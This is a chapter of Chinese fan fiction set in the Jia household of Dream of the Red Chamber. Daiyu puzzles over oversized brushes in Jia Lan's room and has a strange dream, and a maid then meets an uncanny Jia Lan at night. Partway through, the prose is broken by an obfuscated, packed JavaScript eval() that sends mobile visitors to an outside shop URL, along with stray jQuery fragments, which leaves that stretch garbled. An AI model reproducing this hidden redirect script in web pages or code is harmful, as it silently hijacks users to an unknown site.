青雀:“?”
“姑娘嫌这个大了?”青雀仰头将掉的碎渣倒进嘴里,擦干净手,“我问问白妈妈还有没有小的。”
“我不是说玫瑰酥。”黛玉制止了她,放下杯子,起身到书桌上取了一支狼毫笔,张开手丈量了一下,道:“确实太大了。”
何嬷嬷不明所以:“姑娘在说什么?是笔不合适?那就先不用了,当心伤了手。姑娘要多大的笔,我叫人再去外面铺子里按大小买。”
黛玉摇头:“不是我的笔,是兰哥儿。”
何嬷嬷不解。
黛玉回忆道:“白日里青雀撞倒了兰哥儿用的笔架,我捡起来时发现笔有些怪,现在才想起来,是他用的笔尺寸比我的还要长一些。”那看起来像是身量已足的人才用的。
但贾兰比她还小一两岁,手也更小,不可能用那么大的笔。不说能不能写字的问题,就是握笔也不舒服,他骨头还没长成,用多了不合适的笔容易伤筋骨。
何嬷嬷猜测:“也不一定是哥儿用的,兰哥儿还没上学,平日里跟着珠大奶奶识字,笔许是珠大奶奶要用的,为了方便,便在哥儿房里也备了一套。”
这也说得通,但黛玉心中还是有疑惑。
光是教兰哥儿识字,也用不着备那么多笔,一两支就够了。况且她白日还看见了桌上新写的字。虽然只是扫了一眼,没看清写了什么,但细细回想起来,黛玉觉得字迹别扭,观其形已有筋骨,但有些地方有软塌塌的模糊成一团,不大像是出自大嫂子之手。
像是一个会写字的人,用了不适合的笔,所以写得别别扭扭,掌控不好笔锋。
黛玉越想越奇怪,何嬷嬷见她细眉都要拧在一起了,道:“姑娘快别操心了,横竖兰哥儿都有珠大奶奶和二太太照看着呢。”
黛玉一想也是,眉头舒展,道:“嬷嬷说的是。”
喝完金橘团,又看了半个时辰书。天气暖和了,院子里草木多,招了些细小飞虫,白鹤和芙蓉带着人点灯在各处燃了驱虫香熏虫子,吵吵闹闹了一阵,青雀听外面热闹,跑出去玩了盏茶时间才进来陪黛玉睡下。
睡前黛玉照旧把玉佩拿出来看了一眼,见没有变化,又收起来放到枕边。
夜里,黛玉迷迷蒙蒙间做了个梦。
梦里她似乎变小了很多,身体被压得紧紧的,动弹不得。头脑混沌,她不知自己身在何处,眼前雾蒙蒙一片,什么也看不见,只能依稀听到远处流水湍急,恍惚间似有冰凉的水珠落在身上。
听了不知道多久的流水声,黛玉感觉到自己渐渐虚弱。
有一瞬间,她清晰地冒出一个念头——她快死了。
但她应该是活下来了的?为什么现在又要死了呢?
混混沌沌的思维想不明白这么复杂的问题。
又不知道过了多久,她已经连周围的声音都感觉不到了,思绪也越发淡了,偶尔才能冒出一个驳杂念头,却也不知道自己到底想了什么。
“咦?竟还有一株没有枯萎的。”一个惊奇的声音在头顶响起:“河畔方圆百里都得河水滋润,年年不知道催发多少树木花草,却只有你挣脱了草木枯荣的定数,倒是奇了。”
“可惜......”
“也罢,也是你命不该绝,我便帮你一把,且等着......”
这是她意识消失前,听到的最后一句话。
床上,黛玉翻了个身,青雀惊醒,连忙挪开压着被角的身体,小心给她掖了掖被子。
身上的束缚松开,黛玉动了动,睡得更沉了。
梆子敲了三下,夜越发深了,贾府各院均已歇下。二门内上夜的婆子们草草巡视完,各处门一落锁,便聚在一起寻了个僻静处喝酒赌钱打发时间。
李纨院里,王夫人入夜后就回了自己房里。
她是李纨的婆婆,没有在儿媳院子里守着孙子的道理。
况且王夫人也不怎么喜欢李纨这个儿媳妇,对贾兰也是淡淡的。
都说小儿子大孙子,老太太的命根子,况且贾兰还是王夫人最疼爱的大儿子留下的唯一血脉,就算比不上宝玉在她心里的地位,也不该只有面子情,冷冷淡淡,病成这样也不管不问。
但王夫人与常人不同,她心中思量得十分清楚。贾兰要是不好,对她来说没有多大坏处,总归她还有宝玉,还有元春。
若是贾兰熬过这一关,日后有了大出息,她其实也沾不了多少光。
一则贾兰有自己的亲生母亲,出息了最能得好处,被他孝顺奉养的是李纨。她是隔了一辈的祖母,有孝道在,就能压住他。大面上能过去就行。
二则她年近五十,等宝玉长大出息都尚且不知能不能等到,何况比宝玉还小的贾兰。
她年纪大了,没有那么多精力和心血再分到贾兰身上,他自有李纨去操持。
不过贾母的吩咐王夫人也不敢太阳奉阴违,她说要守着,王夫人借口自己要去佛堂诵经为孙儿祈福走了,但是留下贴身丫鬟彩云在贾兰房里守着,命她一有消息就来禀报。
李纨本想一起守着,但她连日劳累,神困身乏,又喝了王太医开的安神汤,实在熬不住,被素云和碧月劝了回去。
到底不放心,李纨留下素云给彩云一起守夜。
素云熬了半夜,眼皮子发沉,她打了个哈欠,拍了拍脸让自己清醒一些,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13973240|147635||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
瞥见支着头打瞌睡的彩云,又见贾兰的奶妈妈已经滚在脚踏上睡过去,心中有些不愤,起身想把人叫醒。
刚站起来,转念一想,她又歇了心思。
素云叹了口气。二太太不把她们奶奶和哥儿放在心上,丫鬟婆子自然也不经心。
这些大丫鬟和奶妈妈们个个都是厉害的,奶奶谨慎求全不肯得罪人,她又何苦给奶奶惹祸。万一恼了他们,到外头乱嚼一通,倒成了她们奶奶的不是。
其他人是指望不上了,只能她自己警醒一些。
来回走动活动了一下身体,烧了一半的蜡烛灯花炸开,烛火在哔啵声中窜了一节。素云张望了一下,也不知道剪刀在哪儿,取了个竹挑子挨个挑了挑灯芯。
等挑完,彩云已经完全伏在桌上,睡死过去,素云摇了摇头,走到床边想揭开帐子看看贾兰的情况。
还得给哥儿喂些水才是,素云心想着。
“啪。”
背后一声轻响,素云停下脚步,回过头,不是灯芯又炸了。烛火比较暗,素云也没看到是什么东西掉了。
“啪。”
又是一声。素云眼珠颤了颤,飞快地环视一圈,还是没有发现。她抱着胳膊,脖子有些凉。
彩云和奶妈还睡着,屋里也没有其他人,到底是什么响?
呼~
一阵凉风从她背后卷过。哗啦,书桌上的宣纸被卷起。吧嗒吧嗒,笔架上的笔轻轻晃动,磕在架子上,发出碰撞声。
“原来是起风了。”素云松了口气,暗笑自己疑神疑鬼,屋子里几个大活人,她还怕这个。
宣纸飘飘荡荡落下地上,素云平复蹦蹦乱跳的心脏,俯身一张张把它们捡起来抚平。
“奇怪,哥儿会写那么多字吗?”素云看着纸上的字迹满心疑惑。
她是李纨的陪嫁,耳濡目染之下也略识得几个字,虽然认不全纸上的字,但光凭笔划的复杂程度,也能猜到有些字超出了贾兰学习的范畴。
难道是奶奶正好教到这里了?
或许是兰哥儿聪明,奶奶就多教了一些吧。素云自发找好了理由,把宣纸放好,用镇纸压住,免得再被风刮跑,又准备去关窗子。
不想一转身,就看到贾兰直直站在她身后,离她只有半臂远。
烛火下,他侧着头,半边脸都在阴影中,嘴边挂着若有似无的笑容。
素云看不到他完整的表情,但直觉这不是一个孩童该有的神情。
“兰、兰哥儿?”素云颤抖着嗓子小心叫了一声。
贾兰转过头,揉了揉眼睛,懵懂地望着她,“素云姐姐?我好饿。”
素云浑身僵硬。